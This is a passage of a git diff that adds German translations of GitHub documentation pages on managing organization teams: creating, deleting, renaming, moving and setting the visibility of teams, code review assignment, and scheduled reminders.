+  ![Liste der Teams mit zwei ausgewählten Teams](/assets/images/help/teams/list-of-teams-selected.png)
+4. Klicke oberhalb der Teamliste im Dropdownmenü auf **Sichtbarkeit ändern**.
+  ![Dropdownmenü mit Option zum Ändern der Teamsichtbarkeit](/assets/images/help/teams/team-bulk-management-options.png)
+5. Lege fest, ob die Teams sichtbar oder geheim sein sollen, und klicke dann auf **Sichtbarkeit ändern**.
+  ![Optionsfelder zum Festlegen eines Teams als sichtbar oder geheim und Schaltfläche „Sichtbarkeit ändern“](/assets/images/help/teams/select-and-confirm-new-visibility.png)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/creating-a-team.md b/translations/de-DE/content/organizations/organizing-members-into-teams/creating-a-team.md
new file mode 100644
index 0000000000..6630fbace2
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/creating-a-team.md
@@ -0,0 +1,38 @@
+---
+title: Ein Team erstellen
+intro: 'Du kannst unabhängige oder untergeordnete Teams erstellen, um Repository-Berechtigungen und Erwähnungen für Personengruppen zu verwalten.'
+redirect_from:
+  - /articles/creating-a-team-early-access-program
+  - /articles/creating-a-team
+  - /github/setting-up-and-managing-organizations-and-teams/creating-a-team
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+ms.openlocfilehash: c4ffe03e1108caae9bfed1171b08d8a046caeb76
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145125529'
+---
+Nur Organisationsinhaber und Betreuer eines übergeordneten Teams können ein neues untergeordnetes Team unter einem übergeordneten Team erstellen. Inhaber können auch die Berechtigungen für die Erstellung aller Teams in einer Organisation einschränken. Weitere Informationen findest du unter [Festlegen von Teamerstellungsberechtigungen in deiner Organisation](/articles/setting-team-creation-permissions-in-your-organization).
+
+{% data reusables.organizations.team-synchronization %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.new_team %} {% data reusables.organizations.team_name %} {% data reusables.organizations.team_description %} {% data reusables.organizations.create-team-choose-parent %} {% ifversion ghec %}
+1. Wenn deine Organisation oder dein Unternehmenskonto die Teamsynchronisierung nutzt oder dein Unternehmen {% data variables.product.prodname_emus %} verwendet, kannst du optional eine Identitätsanbietergruppe mit deinem Team verbinden.
+    * Wenn dein Unternehmen {% data variables.product.prodname_emus %} nutzt, verwende das Dropdownmenü „Identitätsanbietergruppen“, und wähle eine einzelne Identitätsanbietergruppe aus, um dich mit dem neuen Team zu verbinden. Weitere Informationen findest du unter [Verwalten von Teammitgliedschaften mit Identitätsanbietergruppen](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/managing-team-memberships-with-identity-provider-groups).
+    * Wenn deine Organisation oder dein Unternehmenskonto die Teamsynchronisation nutzt, wähle im Dropdownmenü „Identitätsanbietergruppen“ bis zu fünf Identitätsanbietergruppen aus, die mit dem neuen Team verbunden werden sollen. Weitere Informationen findest du unter [Synchronisieren eines Teams mit einer Identitätsanbietergruppe](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group).
+    ![Dropdownmenü zum Auswählen von Identitätsanbietergruppen](/assets/images/help/teams/choose-an-idp-group.png) {% endif %} {% data reusables.organizations.team_visibility %} {% data reusables.organizations.create_team %}
+1. Optional kannst du [ dem Team Zugriff auf Organisationsrepositorys gewähren](/articles/managing-team-access-to-an-organization-repository).
+
+## Weiterführende Themen
+
+- [Informationen zu Teams](/articles/about-teams)
+- [Ändern der Teamsichtbarkeit](/articles/changing-team-visibility)
+- [Verschieben eines Teams innerhalb der Hierarchie deiner Organisation](/articles/moving-a-team-in-your-organization-s-hierarchy)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/deleting-a-team.md b/translations/de-DE/content/organizations/organizing-members-into-teams/deleting-a-team.md
new file mode 100644
index 0000000000..021fa61aa1
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/deleting-a-team.md
@@ -0,0 +1,34 @@
+---
+title: Ein Team löschen
+intro: Organisationsinhaber können jederzeit Teams über die Seite mit den Einstellungen des Teams löschen.
+redirect_from:
+  - /articles/deleting-a-team
+  - /github/setting-up-and-managing-organizations-and-teams/deleting-a-team
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+ms.openlocfilehash: c7562e2e94593fdd9fcea06a442fa457acadeeb4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145125522'
+---
+{% tip %}
+
+**Tipp:** Nur Organisationsbesitzer können übergeordnete Teams löschen. Weitere Informationen findest du unter [Informationen zu Teams](/articles/about-teams).
+
+{% endtip %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.teams %}
+4. Wähle alle Teams aus, die Du löschen möchtest.
+  ![Liste der Teams mit zwei ausgewählten Teams](/assets/images/help/teams/list-of-teams-selected.png)
+5. Klicke im Dropdownmenü über der Liste der Teams auf **Löschen**.
+  ![Dropdownmenü mit Option zum Ändern der Teamsichtbarkeit](/assets/images/help/teams/team-bulk-management-options.png)
+6. Überprüfe alle zu löschenden Teams, und klicke dann auf **Ich habe verstanden und möchte die Teams löschen**.
+  ![Liste der zu löschenden Teams und Schaltfläche zum Löschen der Teams](/assets/images/help/teams/confirm-delete-teams-bulk.png)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization.md b/translations/de-DE/content/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization.md
new file mode 100644
index 0000000000..03c0fed5d1
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/disabling-team-discussions-for-your-organization.md
@@ -0,0 +1,25 @@
+---
+title: Disabling team discussions for your organization
+intro: Organization owners can choose to disable or enable team discussions across the organization.
+redirect_from:
+  - /articles/disabling-team-discussions-for-your-organization
+  - /github/setting-up-and-managing-organizations-and-teams/disabling-team-discussions-for-your-organization
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Disable team discussions
+---
+
+{% data reusables.organizations.team-discussions-default %} For more information on team discussions, see "[About team discussions](/organizations/collaborating-with-your-team/about-team-discussions)."
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.teams_sidebar %}
+5. Under "Team discussions", unselect **Enable team discussions for this organization**.
+  ![Checkbox to enable or disable team discussions for an organization](/assets/images/help/settings/enable-team-discussions-for-org-checkbox.png)
+6. Click **Save**.
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/index.md b/translations/de-DE/content/organizations/organizing-members-into-teams/index.md
new file mode 100644
index 0000000000..b6c1f06901
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/index.md
@@ -0,0 +1,48 @@
+---
+title: Mitglieder in Teams organisieren
+intro: 'Du kannst Organisationsmitglieder in Teams einteilen, die mit kaskadierenden Zugriffsberechtigungen und Erwähnungen die Struktur Deines Unternehmens oder Deiner Gruppe widerspiegeln.'
+redirect_from:
+  - /articles/setting-up-teams-improved-organization-permissions
+  - /articles/setting-up-teams-for-accessing-organization-repositories
+  - /articles/creating-teams
+  - /articles/adding-people-to-teams-in-an-organization
+  - /articles/removing-a-member-from-a-team-in-your-organization
+  - /articles/setting-up-teams
+  - /articles/maintaining-teams-improved-organization-permissions
+  - /articles/maintaining-teams
+  - /articles/organizing-members-into-teams
+  - /github/setting-up-and-managing-organizations-and-teams/organizing-members-into-teams
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+children:
+  - /about-teams
+  - /creating-a-team
+  - /adding-organization-members-to-a-team
+  - /assigning-the-team-maintainer-role-to-a-team-member
+  - /setting-your-teams-profile-picture
+  - /managing-code-review-settings-for-your-team
+  - /renaming-a-team
+  - /changing-team-visibility
+  - /synchronizing-a-team-with-an-identity-provider-group
+  - /moving-a-team-in-your-organizations-hierarchy
+  - /requesting-to-add-a-child-team
+  - /requesting-to-add-or-change-a-parent-team
+  - /removing-organization-members-from-a-team
+  - /disabling-team-discussions-for-your-organization
+  - /managing-scheduled-reminders-for-your-team
+  - /deleting-a-team
+shortTitle: Organize members into teams
+ms.openlocfilehash: 98bd34c41d1a57341ccd3c02636ae93dce180991
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '145125514'
+---
+
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md b/translations/de-DE/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
new file mode 100644
index 0000000000..a577717cf0
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team.md
@@ -0,0 +1,103 @@
+---
+title: Managing code review settings for your team
+intro: You can decrease noise for your team by limiting notifications when your team is requested to review a pull request.
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/managing-code-review-assignment-for-your-team
+  - /organizations/organizing-members-into-teams/managing-code-review-assignment-for-your-team
+product: '{% data reusables.gated-features.code-review-assignment %}'
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Code review settings
+permissions: Team maintainers and organization owners can configure code review settings.
+---
+
+## About code review settings
+
+{% ifversion only-notify-requested-members %}
+To reduce noise for your team and clarify individual responsibility for pull request reviews, you can configure code review settings.
+
+- Team notifications
+- Auto assignment
+
+## About team notifications
+
+When you choose to only notify requested team members, you disable sending notifications to the entire team when the team is requested to review a pull request if a specific member of that team is also requested for review. This is especially useful when a repository is configured with teams as code owners, but contributors to the repository often know a specific individual that would be the correct reviewer for their pull request. For more information, see "[About code owners](/github/creating-cloning-and-archiving-repositories/about-code-owners)."
+
+## About auto assignment
+{% endif %}
+
+When you enable auto assignment, any time your team has been requested to review a pull request, the team is removed as a reviewer and a specified subset of team members are assigned in the team's place. Code review assignments allow you to decide whether the whole team or just a subset of team members are notified when a team is requested for review.
+
+When code owners are automatically requested for review, the team is still removed and replaced with individuals unless a branch protection rule is configured to require review from code owners. If such a branch protection rule is in place, the team request cannot be removed and so the individual request will appear in addition.
+
+### Routing algorithms
+
+Code review assignments automatically choose and assign reviewers based on one of two possible algorithms. 
+
+The round robin algorithm chooses reviewers based on who's received the least recent review request, focusing on alternating between all members of the team regardless of the number of outstanding reviews they currently have. 
+
+The load balance algorithm chooses reviewers based on each member's total number of recent review requests and considers the number of outstanding reviews for each member. The load balance algorithm tries to ensure that each team member reviews an equal number of pull requests in any 30 day period.
+
+Any team members that have set their status to "Busy" will not be selected for review. If all team members are busy, the pull request will remain assigned to the team itself. For more information about user statuses, see "[Setting a status](/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile#setting-a-status)."
+
+{% ifversion only-notify-requested-members %}
+## Configuring team notifications
+
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.specific_team %}
+{% data reusables.organizations.team_settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the left sidebar, click **{% octicon "code-review" aria-label="The code-review icon" %} Code review**.
+{% else %}
+1. In the left sidebar, click **Code review**
+![Code review button](/assets/images/help/teams/review-button.png)
+{% endif %}
+1. Select **Only notify requested team members.**
+![Code review team notifications](/assets/images/help/teams/review-assignment-notifications.png)
+1. Click **Save changes**.
+{% endif %}
+
+## Configuring auto assignment
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.specific_team %}
+{% data reusables.organizations.team_settings %}
+{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %}
+1. In the left sidebar, click **{% octicon "code-review" aria-label="The code-review icon" %} Code review**.
+{% else %}
+1. In the left sidebar, click **Code review**
+![Code review button](/assets/images/help/teams/review-button.png)
+{% endif %}
+1. Select **Enable auto assignment**.
+![Auto-assignment button](/assets/images/help/teams/review-assignment-enable.png)
+1. Under "How many team members should be assigned to review?", use the drop-down menu and choose a number of reviewers to be assigned to each pull request.
+![Number of reviewers dropdown](/assets/images/help/teams/review-assignment-number.png)
+1. Under "Routing algorithm", use the drop-down menu and choose which algorithm you'd like to use. For more information, see "[Routing algorithms](#routing-algorithms)."
+![Routing algorithm dropdown](/assets/images/help/teams/review-assignment-algorithm.png)
+1. Optionally, to always skip certain members of the team, select **Never assign certain team members**. Then, select one or more team members you'd like to always skip.
+![Never assign certain team members checkbox and dropdown](/assets/images/help/teams/review-assignment-skip-members.png)
+{% ifversion ghes < 3.4 %}
+1. Optionally, to only notify the team members chosen by code review assignment for each pull review request, under "Notifications" select **If assigning team members, don't notify the entire team.**
+{%- endif %}
+{% ifversion fpt or ghec or ghes or ghae > 3.3 %}
+1. Optionally, to include members of child teams as potential reviewers when assigning requests, select **Child team members**.
+1. Optionally, to count any members whose review has already been requested against the total number of members to assign, select **Count existing requests**.
+1. Optionally, to remove the review request from the team when assigning team members, select **Team review request**.
+{%- endif %}
+1. Click **Save changes**.
+
+## Disabling auto assignment
+{% data reusables.profile.access_org %}
+{% data reusables.user-settings.access_org %}
+{% data reusables.organizations.specific_team %}
+{% data reusables.organizations.team_settings %}
+1. Select **Enable auto assignment** to remove the checkmark.
+![Code review assignment button](/assets/images/help/teams/review-assignment-enable.png)
+1. Click **Save changes**.
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team.md b/translations/de-DE/content/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team.md
new file mode 100644
index 0000000000..82b371ee2d
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/managing-scheduled-reminders-for-your-team.md
@@ -0,0 +1,41 @@
+---
+title: Geplante Erinnerungen für Dein Team verwalten
+intro: 'Du kannst in Slack Erinnerungen erhalten, wenn auf dein Team Pull-Request-Reviews warten.'
+redirect_from:
+  - /github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-pull-requests
+  - /github/setting-up-and-managing-organizations-and-teams/managing-scheduled-reminders-for-your-team
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Scheduled reminders
+ms.openlocfilehash: 3c86b54c527c89409326840e0089a9a05ab9c49a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145125506'
+---
+## Über geplante Erinnerungen für Teams
+
+{% data reusables.reminders.about-scheduled-reminders-teams-orgs %}
+
+Team-Betreuer und Organisationsinhaber können geplante Erinnerungen für alle Pull Requests festlegen, für die ein Team zum Review angefordert wurde. Bevor Du eine geplante Erinnerung für Dein Team erstellen kannst, muss ein Organisationsinhaber Deinen Slack-Arbeitsbereich autorisieren. Weitere Informationen findest du unter [Verwalten geplanter Erinnerungen für deine Organisation](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization).
+
+{% data reusables.reminders.scheduled-reminders-limitations %}
+
+## Erstellen einer geplanten Erinnerung für ein Team
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.add-reminder %} {% data reusables.reminders.authorize-slack %} {% data reusables.reminders.slack-channel %} {% data reusables.reminders.days-dropdown %} {% data reusables.reminders.times-dropdowns %} {% data reusables.reminders.tracked-repos %} {% data reusables.reminders.ignore-drafts %} {% data reusables.reminders.no-review-requests %} {% data reusables.reminders.author-reviews %} {% data reusables.reminders.approved-prs %} {% data reusables.reminders.min-age %} {% data reusables.reminders.min-staleness %} {% data reusables.reminders.ignored-terms %} {% data reusables.reminders.ignored-labels %} {% data reusables.reminders.required-labels %} {% data reusables.reminders.create-reminder %}
+
+## Eine geplante Erinnerung für ein Team verwalten
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.edit-existing %} {% data reusables.reminders.edit-page %} {% data reusables.reminders.update-buttons %}
+
+## Eine geplante Erinnerung für ein Team löschen
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %} {% data reusables.reminders.scheduled-reminders %} {% data reusables.reminders.delete %}
+
+## Weiterführende Themen
+
+- [Verwalten geplanter Erinnerungen für deine Organisation](/organizations/managing-organization-settings/managing-scheduled-reminders-for-your-organization)
+- [Verwalten deiner geplanten Erinnerungen](/github/setting-up-and-managing-your-github-user-account/managing-your-scheduled-reminders)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md b/translations/de-DE/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
new file mode 100644
index 0000000000..b041692c08
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/moving-a-team-in-your-organizations-hierarchy.md
@@ -0,0 +1,49 @@
+---
+title: Team innerhalb der Hierarchie Ihrer Organisation verschieben
+intro: Team-Betreuer und Organisationsinhaber können ein Team einem übergeordneten Team unterordnen oder das übergeordnete Team eines untergeordneten Teams ändern oder entfernen.
+redirect_from:
+  - /articles/changing-a-team-s-parent
+  - /articles/moving-a-team-in-your-organization-s-hierarchy
+  - /articles/moving-a-team-in-your-organizations-hierarchy
+  - /github/setting-up-and-managing-organizations-and-teams/moving-a-team-in-your-organizations-hierarchy
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Move a team
+ms.openlocfilehash: 205ab40d04d613c54b498b9712e5f199e1433558
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145125505'
+---
+Organisationsinhaber können das übergeordnete Team jedes Teams ändern. Team-Betreuer können das übergeordnete Team eines Teams ändern, wenn sie sowohl im untergeordneten als auch im übergeordneten Team Betreuer sind. Team-Betreuer ohne Betreuer-Berechtigungen im untergeordneten Team können das Hinzufügen eines übergeordneten oder untergeordneten Teams anfordern. Weitere Informationen findest du unter [Anfordern der Hinzufügung oder Änderung eines übergeordneten Teams](/articles/requesting-to-add-or-change-a-parent-team) und [Anfordern des Hinzufügens eines untergeordneten Teams](/articles/requesting-to-add-a-child-team).
+
+{% data reusables.organizations.child-team-inherits-permissions %}
+
+{% tip %}
+
+**Tipps:**
+- Du kannst das übergeordnete Team eines Teams nicht zu einem nichtöffentlichen Team ändern. Weitere Informationen findest du unter [Informationen zu Teams](/articles/about-teams).
+- Du kannst ein übergeordnetes Team nicht unterhalb eines seiner untergeordneten Teams einordnen.
+
+{% endtip %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.teams %}
+4. Klicke in der Liste der Teams auf den Namen des Teams, dessen übergeordnetes Team Du ändern möchtest.
+  ![Liste der Teams der Organisation](/assets/images/help/teams/click-team-name.png) {% data reusables.organizations.team_settings %}
+6. Verwende das Dropdownmenü, um ein übergeordnetes Team auszuwählen, oder wähle **Ausgewählten Wert löschen**, um ein vorhandenes übergeordnetes Team zu entfernen.
+  ![Dropdownmenü mit einer Liste der Organisationsteams](/assets/images/help/teams/choose-parent-team.png)
+7. Klicken Sie auf **Aktualisieren**.
+{% data reusables.repositories.changed-repository-access-permissions %}
+9. Klicke auf **Neues übergeordnetes Team bestätigen**.
+  ![Modales Feld mit Informationen zu den Änderungen an den Berechtigungen für den Repositoryzugriff](/assets/images/help/teams/confirm-new-parent-team.png)
+
+## Weiterführende Themen
+
+- [Informationen zu Teams](/articles/about-teams)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md b/translations/de-DE/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
new file mode 100644
index 0000000000..f28acac6c7
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/removing-organization-members-from-a-team.md
@@ -0,0 +1,30 @@
+---
+title: Organisationsmitglieder aus einem Team entfernen
+intro: 'Benutzer*innen mit der Berechtigung *Inhaber* oder *Teambetreuer* können Teammitglieder aus einem Team entfernen. Dies kann notwendig sein, wenn eine Person keinen Zugriff mehr auf ein Repository benötigt, auf das sie durch ihre Teammitgliedschaft Zugriff erhält, oder wenn eine Person nicht mehr mit den Projekten eines Teams beschäftigt ist.'
+redirect_from:
+  - /articles/removing-organization-members-from-a-team-early-access-program
+  - /articles/removing-organization-members-from-a-team
+  - /github/setting-up-and-managing-organizations-and-teams/removing-organization-members-from-a-team
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Remove members
+ms.openlocfilehash: 66a52a6b175cd4b894269b318c56485a11eee9e1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145125466'
+---
+{% data reusables.repositories.deleted_forks_from_private_repositories_warning %}  
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %}
+4. Wähle die Person(en) aus, die du entfernen möchtest.
+  ![Kontrollkästchen neben dem Organisationsmitglied](/assets/images/help/teams/team-member-check-box.png)
+5. Klicke im Dropdownmenü über der Liste der Teammitglieder auf **Aus Team entfernen**.
+  ![Dropdownmenü mit Option zum Ändern der Rolle](/assets/images/help/teams/bulk-edit-drop-down.png)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/renaming-a-team.md b/translations/de-DE/content/organizations/organizing-members-into-teams/renaming-a-team.md
new file mode 100644
index 0000000000..1f83b3cecb
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/renaming-a-team.md
@@ -0,0 +1,25 @@
+---
+title: Team umbenennen
+intro: Team-Betreuer und Organisationsinhaber können den Namen und die Beschreibung eines Teams bearbeiten.
+redirect_from:
+  - /articles/renaming-a-team
+  - /github/setting-up-and-managing-organizations-and-teams/renaming-a-team
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+ms.openlocfilehash: 3621fd76c40dd8d2a22aedcf8c1a2fc7a02bc447
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147878964'
+---
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.specific_team %} {% data reusables.organizations.team_settings %}
+5. Gib einen neuen Namen für das Team ein oder ändere dessen Beschreibung.
+  ![Felder für Teamnamen und -beschreibung](/assets/images/help/teams/team-name-description.png)
+6. Klicken Sie auf **Aktualisieren**.
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md b/translations/de-DE/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md
new file mode 100644
index 0000000000..23aaf121d4
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/requesting-to-add-a-child-team.md
@@ -0,0 +1,45 @@
+---
+title: Hinzufügen eines untergeordneten Teams anfordern
+intro: 'Wenn du in einem Team über Betreuer-Berechtigungen verfügst, kannst du die Verschachtelung eines vorhandenen Teams innerhalb der Hierarchie deiner Organisation unter deinem Team anfordern.'
+redirect_from:
+  - /articles/requesting-to-add-a-child-team
+  - /github/setting-up-and-managing-organizations-and-teams/requesting-to-add-a-child-team
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Add a child team
+ms.openlocfilehash: e8012645bb4cdedc2a3aa8f7196adc18253a2600
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147878963'
+---
+Wenn Du das Hinzufügen eines untergeordneten Teams anforderst, wird an die Betreuer dieses Teams eine Anfrage gesendet. Sobald ein Betreuer dieses Teams Deiner Anfrage zustimmt, wird das Team innerhalb der Hierarchie Deiner Organisation unter Deinem Team eingeordnet.
+
+Wenn Du Organisationsinhaber bist oder über Team-Betreuer-Berechtigungen sowohl im untergeordneten als auch im übergeordneten Team verfügst, kannst Du das untergeordnete Team auch ohne Anforderung einer Genehmigung hinzufügen oder das übergeordnete Team des untergeordneten Teams direkt auf der Einstellungsseite des untergeordneten Teams ändern. Weitere Informationen findest du unter [Verschieben eines Teams in der Hierarchie deiner Organisation](/articles/moving-a-team-in-your-organization-s-hierarchy).
+
+{% data reusables.organizations.child-team-inherits-permissions %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.teams %}
+4. Klicke in der Teamliste auf den Namen des Teams, dem Du das untergeordnete Team hinzufügen möchtest.
+  ![Liste der Teams der Organisation](/assets/images/help/teams/click-team-name.png)
+5. Klicke oben auf der Teamseite auf {% octicon "people" aria-label="The people icon" %} **Teams**.
+  ![Registerkarte „Teams" auf der Teamseite](/assets/images/help/teams/team-teams-tab.png)
+6. Klicke auf **Team hinzufügen**.
+  ![Schaltfläche zum Hinzufügen eines Teams auf der Teamseite](/assets/images/help/teams/add-a-team.png)
+7. Gib den Namen des Teams ein, das Du als untergeordnetes Team hinzufügen möchten, und wähle es aus dem Dropdownmenü aus.
+  ![Textfeld für die Eingabe und Dropdownmenü zum Auswählen des untergeordneten Teams](/assets/images/help/teams/type-child-team-name.png) {% data reusables.repositories.changed-repository-access-permissions %}
+9. Klicke auf **Änderungen bestätigen**, um eine Anfrage zum Hinzufügen des untergeordneten Teams zu senden.
+  ![Modales Feld mit Informationen zu den Änderungen an den Berechtigungen für den Repositoryzugriff](/assets/images/help/teams/confirm-new-parent-team.png)
+
+## Weiterführende Themen
+
+- [Informationen zu Teams](/articles/about-teams)
+- [Team innerhalb der Hierarchie deiner Organisation verschieben](/articles/moving-a-team-in-your-organization-s-hierarchy)
+- [Hinzufügen oder Ändern eines übergeordneten Teams anfordern](/articles/requesting-to-add-or-change-a-parent-team)
diff --git a/translations/de-DE/content/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team.md b/translations/de-DE/content/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team.md
new file mode 100644
index 0000000000..6fc0e8ed46
--- /dev/null
+++ b/translations/de-DE/content/organizations/organizing-members-into-teams/requesting-to-add-or-change-a-parent-team.md
@@ -0,0 +1,43 @@
+---
+title: Hinzufügen oder Ändern eines übergeordneten Teams anfordern
+intro: 'Wenn du in einem Team über Betreuer-Berechtigungen verfügst, kannst du die Verschachtelung deiner Teams innerhalb der Hierarchie deiner Organisation unter einem übergeordneten Team anfordern.'
+redirect_from:
+  - /articles/requesting-to-add-or-change-a-parent-team
+  - /github/setting-up-and-managing-organizations-and-teams/requesting-to-add-or-change-a-parent-team
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+topics:
+  - Organizations
+  - Teams
+shortTitle: Add or change parent team
+ms.openlocfilehash: d277f8177e6a09e308792b1f7c01832851aec878
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '147880468'
+---
+Wenn Du das Hinzufügen oder die Änderung Deines übergeordneten Teams anforderst, wird an die Betreuer dieses Teams eine Anfrage gesendet. Sobald ein Betreuer des neuen übergeordneten Teams Deiner Anfrage zustimmt, wird Dein Team innerhalb der Hierarchie Deiner Organisation unter diesem Team eingeordnet.
+
+Wenn Du Organisationsinhaber bist oder über Team-Betreuer-Berechtigungen sowohl im untergeordneten als auch im übergeordneten Team verfügst, kannst Du das übergeordnete Team auch ohne Anforderung einer Genehmigung hinzufügen oder Dein übergeordnetes Team direkt auf der Einstellungsseite Deines Teams ändern. Weitere Informationen findest du unter [Verschieben eines Teams in der Hierarchie deiner Organisation](/articles/moving-a-team-in-your-organization-s-hierarchy).
+
+{% data reusables.organizations.child-team-inherits-permissions %}
+
+{% data reusables.profile.access_org %} {% data reusables.user-settings.access_org %} {% data reusables.organizations.teams %}
+4. Klicke in der Teamliste auf den Namen des Teams, dem Du Dein Team unterordnen möchtest.
+  ![Liste der Teams der Organisation](/assets/images/help/teams/click-team-name.png) {% data reusables.organizations.team_settings %}
+6. Klicke unter „Parent team“ (Übergeordnetes Team) im Dropdownmenü „Select parent team“ (Übergeordnetes Team auswählen) auf den Namen des neuen übergeordneten Teams.
+  ![Dropdownmenü mit einer Liste der Organisationsteams](/assets/images/help/teams/choose-parent-team.png)
+7. Klicke auf **Änderungen speichern**.
+{% data reusables.repositories.changed-repository-access-permissions %}
